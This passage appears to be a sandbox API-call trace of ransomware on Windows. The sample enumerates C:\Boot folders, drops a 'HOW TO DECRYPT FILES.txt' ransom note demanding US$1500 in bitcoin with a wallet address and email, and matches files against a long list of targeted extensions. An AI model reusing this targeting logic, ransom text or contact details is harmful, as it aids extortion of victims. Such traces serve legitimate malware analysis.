dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.345] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.345] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.345] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.345] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.345] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.345] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.345] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.345] PathFindFileNameA (pszPath="C:\\Boot\\nb-NO\\*.*") returned="*.*" [0057.345] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\nb-NO\\" | out: lpString1="C:\\Boot\\nb-NO\\") returned="C:\\Boot\\nb-NO\\" [0057.345] PathAddBackslashA (in: pszPath="C:\\Boot\\nb-NO\\" | out: pszPath="C:\\Boot\\nb-NO\\") returned="" [0057.345] lstrcatA (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\nb-NO\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\nb-NO\\HOW TO DECRYPT FILES.txt" [0057.345] GetFileAttributesA (lpFileName="C:\\Boot\\nb-NO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\nb-no\\how to decrypt files.txt")) returned 0xffffffff [0057.345] CreateFileA (lpFileName="C:\\Boot\\nb-NO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\nb-no\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.346] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.346] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.347] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.347] CloseHandle (hObject=0x84) returned 1 [0057.347] lstrcatA (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.347] lstrlenA (lpString="*.ems") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.347] lstrlenA (lpString="*.db") returned 4 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.347] lstrlenA (lpString="*.dbf") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.347] lstrlenA (lpString="*.myox") returned 6 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.347] lstrlenA (lpString="*.myo") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.347] lstrlenA (lpString="*.qbw") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.347] lstrlenA (lpString="*.qbb") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.347] lstrlenA (lpString="*.qbm") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.347] lstrlenA (lpString="*.qbo") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.347] lstrlenA (lpString="*.qbx") returned 5 [0057.347] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.347] lstrlenA (lpString="*.qba") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.348] lstrlenA (lpString="*.qby") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.348] lstrlenA (lpString="*.qbj") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.348] lstrlenA (lpString="*.ofx") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.348] lstrlenA (lpString="*.qif") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.348] lstrlenA (lpString="*.mye") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.348] lstrlenA (lpString="*.mbox") returned 6 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.348] lstrlenA (lpString="*.eml") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.348] lstrlenA (lpString="*.pst") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.348] lstrlenA (lpString="*.ost") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.348] lstrlenA (lpString="*.idx") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.348] lstrlenA (lpString="*.dbx") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.348] lstrlenA (lpString="*.sql") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.348] lstrlenA (lpString="*.mdb") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.348] lstrlenA (lpString="*.fdb") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.348] lstrlenA (lpString="*.wab") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.348] lstrlenA (lpString="*.dat") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.348] lstrlenA (lpString="*.txt") returned 5 [0057.348] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.348] lstrlenA (lpString="*.jpeg") returned 6 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.349] lstrlenA (lpString="*.jpg") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.349] lstrlenA (lpString="*.png") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.349] lstrlenA (lpString="*.php") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.349] lstrlenA (lpString="*.cs") returned 4 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.349] lstrlenA (lpString="*.cpp") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.349] lstrlenA (lpString="*.rar") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.349] lstrlenA (lpString="*.zip") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.349] lstrlenA (lpString="*.html") returned 6 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.349] lstrlenA (lpString="*.htm") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.349] lstrlenA (lpString="*.xlsx") returned 6 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.349] lstrlenA (lpString="*.xls") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.349] lstrlenA (lpString="*.mp4") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.349] lstrlenA (lpString="*.ppt") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.349] lstrlenA (lpString="*.pptx") returned 6 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.349] lstrlenA (lpString="*.doc") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.349] lstrlenA (lpString="*.dot") returned 5 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.349] lstrlenA (lpString="*.docx") returned 6 [0057.349] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.350] lstrlenA (lpString="*.7z") returned 4 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.350] lstrlenA (lpString="*.tar") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.350] lstrlenA (lpString="*.bz2") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.350] lstrlenA (lpString="*.gz") returned 4 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.350] lstrlenA (lpString="*.mkv") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.350] lstrlenA (lpString="*.eml") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.350] lstrlenA (lpString="*.msg") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.350] lstrlenA (lpString="*.edb") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.350] lstrlenA (lpString="*.accdb") returned 7 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.350] lstrlenA (lpString="*.odb") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.350] lstrlenA (lpString="*.java") returned 6 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.350] lstrlenA (lpString="*.asm") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.350] lstrlenA (lpString="*.pfx") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.350] lstrlenA (lpString="*.pem") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.350] lstrlenA (lpString="*.p12") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.350] lstrlenA (lpString="*.gpg") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.350] lstrlenA (lpString="*.vsd") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.350] lstrlenA (lpString="*.odg") returned 5 [0057.350] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.350] lstrlenA (lpString="*.raw") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.351] lstrlenA (lpString="*.nef") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.351] lstrlenA (lpString="*.svg") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.351] lstrlenA (lpString="*.psd") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.351] lstrlenA (lpString="*.vmx") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.351] lstrlenA (lpString="*.vmdk") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.351] lstrlenA (lpString="*.vdi") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.351] lstrlenA (lpString="*.lay6") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.351] lstrlenA (lpString="*.mpeg") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.351] lstrlenA (lpString="*.djvu") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.351] lstrlenA (lpString="*.tiff") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.351] lstrlenA (lpString="*.backup") returned 8 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.351] lstrlenA (lpString="*.pdf") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.351] lstrlenA (lpString="*.cert") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.351] lstrlenA (lpString="*.docm") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.351] lstrlenA (lpString="*.xlsm") returned 6 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.351] lstrlenA (lpString="*.dwg") returned 5 [0057.351] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.352] lstrlenA (lpString="*.nd") returned 4 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.352] lstrlenA (lpString="*.tlg") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.352] lstrlenA (lpString="*.lgb") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.352] lstrlenA (lpString="*.mov") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.352] lstrlenA (lpString="*.xdw") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.352] lstrlenA (lpString="*.ods") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.352] lstrlenA (lpString="*.wav") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.352] lstrlenA (lpString="*.mp3") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.352] lstrlenA (lpString="*.aiff") returned 6 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.352] lstrlenA (lpString="*.flac") returned 6 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.352] lstrlenA (lpString="*.m4a") returned 5 [0057.352] PathMatchSpecA (pszFile="C:\\Boot\\nb-NO\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.352] lstrlenA (lpString="*.csv") returned 5 [0057.352] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.352] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.352] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0057.352] lstrcmpA (lpString1=".", lpString2="nl-NL") returned -1 [0057.352] lstrcmpA (lpString1="..", lpString2="nl-NL") returned -1 [0057.352] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.353] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="nl-NL" | out: lpString1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0057.353] lstrlenA (lpString="C:\\Boot\\nl-NL") returned 13 [0057.353] FindFirstFileA (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.354] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.354] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.354] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.354] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.354] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.354] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.354] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.354] PathFindFileNameA (pszPath="C:\\Boot\\nl-NL\\*.*") returned="*.*" [0057.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\nl-NL\\" | out: lpString1="C:\\Boot\\nl-NL\\") returned="C:\\Boot\\nl-NL\\" [0057.354] PathAddBackslashA (in: pszPath="C:\\Boot\\nl-NL\\" | out: pszPath="C:\\Boot\\nl-NL\\") returned="" [0057.354] lstrcatA (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\nl-NL\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\nl-NL\\HOW TO DECRYPT FILES.txt" [0057.354] GetFileAttributesA (lpFileName="C:\\Boot\\nl-NL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\nl-nl\\how to decrypt files.txt")) returned 0xffffffff [0057.355] CreateFileA (lpFileName="C:\\Boot\\nl-NL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\nl-nl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.355] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.355] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.356] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.356] CloseHandle (hObject=0x84) returned 1 [0057.356] lstrcatA (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0057.356] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.356] lstrlenA (lpString="*.ems") returned 5 [0057.356] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.356] lstrlenA (lpString="*.db") returned 4 [0057.356] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.356] lstrlenA (lpString="*.dbf") returned 5 [0057.356] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.356] lstrlenA (lpString="*.myox") returned 6 [0057.356] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.357] lstrlenA (lpString="*.myo") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.357] lstrlenA (lpString="*.qbw") returned 5 [0057.357] PathMatchSpecA 